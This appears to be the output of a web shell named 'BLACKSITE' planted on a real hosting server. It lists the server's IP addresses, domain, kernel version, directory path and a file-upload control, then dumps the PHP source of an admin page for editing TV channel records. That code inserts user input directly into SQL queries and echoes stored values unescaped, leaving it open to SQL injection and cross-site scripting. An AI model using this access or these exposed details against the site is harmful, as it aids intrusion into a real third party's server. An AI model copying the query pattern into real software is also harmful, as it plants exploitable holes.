BLACKSITE
:
3.145.20.52
:
103.154.184.216 / www.astitvaad.com
:
Linux vps.readyhost.in 4.18.0-553.6.1.el8.x86_64 #1 SMP Thu May 30 04:13:58 UTC 2024 x86_64
:
/
home
/
astitvaad
/
public_html
/
admin
/
Upload File:
files >> /home/astitvaad/public_html/admin/edit_tv.php
<?php include '../connection.php'; ?> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>ASTITVAA</title> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <link rel="stylesheet" href="assets/materialize/css/materialize.min.css" media="screen,projection" /> <link href="assets/css/bootstrap.css" rel="stylesheet" /> <link href="assets/css/font-awesome.css" rel="stylesheet" /> <link href="assets/js/morris/morris-0.4.3.min.css" rel="stylesheet" /> <link href="assets/css/custom-styles.css" rel="stylesheet" /> <link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css' /> <link rel="stylesheet" href="assets/js/Lightweight-Chart/cssCharts.css"> <link rel="shortcut icon" href="../images/favicon.png"> <script> function validateForm() { var x = document.forms["myForm"]["name"].value; if (x == "") { alert("Name must be filled out"); return false; } } </script> <?php if(isset($_GET['id'])) { $id=$_GET['id']; if(isset($_POST['submit'])) { $name=$_POST['name']; $channel_genre=$_POST['channel_genre']; $language=$_POST['language']; $viewers=$_POST['viewers']; $rate=$_POST['rate']; $sql=mysqli_query($conn,"update tv SET name='$name',channel_genre='$channel_genre',language='$language',viewers='$viewers',rate='$rate' where id='$id'"); if($sql) { echo ("<SCRIPT LANGUAGE='JavaScript'> window.alert('Update successfully ') window.location.href='tv.php'; </SCRIPT>"); } } } $query1=mysqli_query($conn,"select * from tv where id='$id'"); $query2=mysqli_fetch_array($query1); ?> </head> <body> <div id="wrapper"> <nav class="navbar navbar-default top-navbar" role="navigation"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".sidebar-collapse"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button> <a class="navbar-brand waves-effect waves-dark" href="dashboard.php"><i class="large material-icons"></i><img src="../images/logo.png"width="140px"height="60px"></a> <div id="sideNav" href=""><i class="material-icons dp48">toc</i></div> </div> <a href="logout.php" class="pull-right"><img src="exit.jpg" width="50" class="pull-right"></a> </nav> <?php include 'header.php';?> <div id="page-wrapper" > <div class="header"> </div> <div id="page-inner"> <div class="row"> <div class="col-lg-12"> <div class="card"> <center> <img src="../images/logo.png"width="140px"height="60px"> </center> <div class="row"> <ol class="breadcrumb"> <li class="breadcrumb-item"> <a href="dashboard.php">Dashboard</a> </li> <li class="breadcrumb-item active"> <a href="Serviceus.php">Services</a> </li> <!-- <li class="breadcrumb-item active"> <a href="hordinng.php">Hordings</a> </li> <li class="breadcrumb-item active"> <a href="bus.php">Bus-Que-Shelter</a> </li> <li class="breadcrumb-item active"> <a href="trafficbooth.php">Traffic-Booth</a> </li> <li class="breadcrumb-item active"> <a href="pool.php">Pool-kiosk</a> </li> <li class="breadcrumb-item active"> <a href="socialmedia.php">Social-Media</a> </li> <li class="breadcrumb-item active"> <a href="ledscreen.php">Led-Screen</a> </li> <li class="breadcrumb-item active"> <a href="Serviceus.php">Van-Activation</a> </li> <li class="breadcrumb-item active"> <a href="auto.php">Auto-Add</a> </li> --> </ol> <h3 align="center"><font color="#30cc7b"><!-- <div class="card-action"> --> UPDATE TV PAGE <!-- </div> --></font></h3> </div> <h5 align="left"><font color="#30cc7b"><strong> <?php echo "Today Date : " . date("Y/m/d") . "<br>";?></font></strong></h5> <div class="card-content"> <form method="post" id="image_gallery"> <p id="msg"></p> <div class="row"> <div class="input-field col s4"> <input id="location" type="text" class="form-control" name="name" value="<?php echo $query2['name'];?>"> <label for=""><font size="2px"></font></label> </div> <div class="input-field col s4"> <input type="text" name="channel_genre" class="form-control" id="channel_genre"value="<?php echo $query2['channel_genre'];?>"> <label for=""><font size="2px"></font></label> </div> <div class="input-field col s4"> <input type="text" name="language" class="form-control" id="language"value="<?php echo $query2['language'];?>"> <label for=""><font size="2px"></font></label> </div> </div> <div class="row"> <div class="input-field col s6"> <input type="text" name="viewers" class="form-control" id="viewers"value="<?php echo $query2['viewers'];?>"> <label for=""><font size="2px"></font></label> </div> <div class="input-field col s6"> <input type="text" name="rate" class="form-control" id="rate"value="<?php echo $query2['rate'];?>"> <label for=""><font size="2px"></font></label> </div> </div> <center> <input type="submit"name="submit"value="submit" class="btn btn-sm btn-primary"> </center> </form> </div> </div> <?php include 'footer.php';?> </body> <?php include 'script.php';?> </html>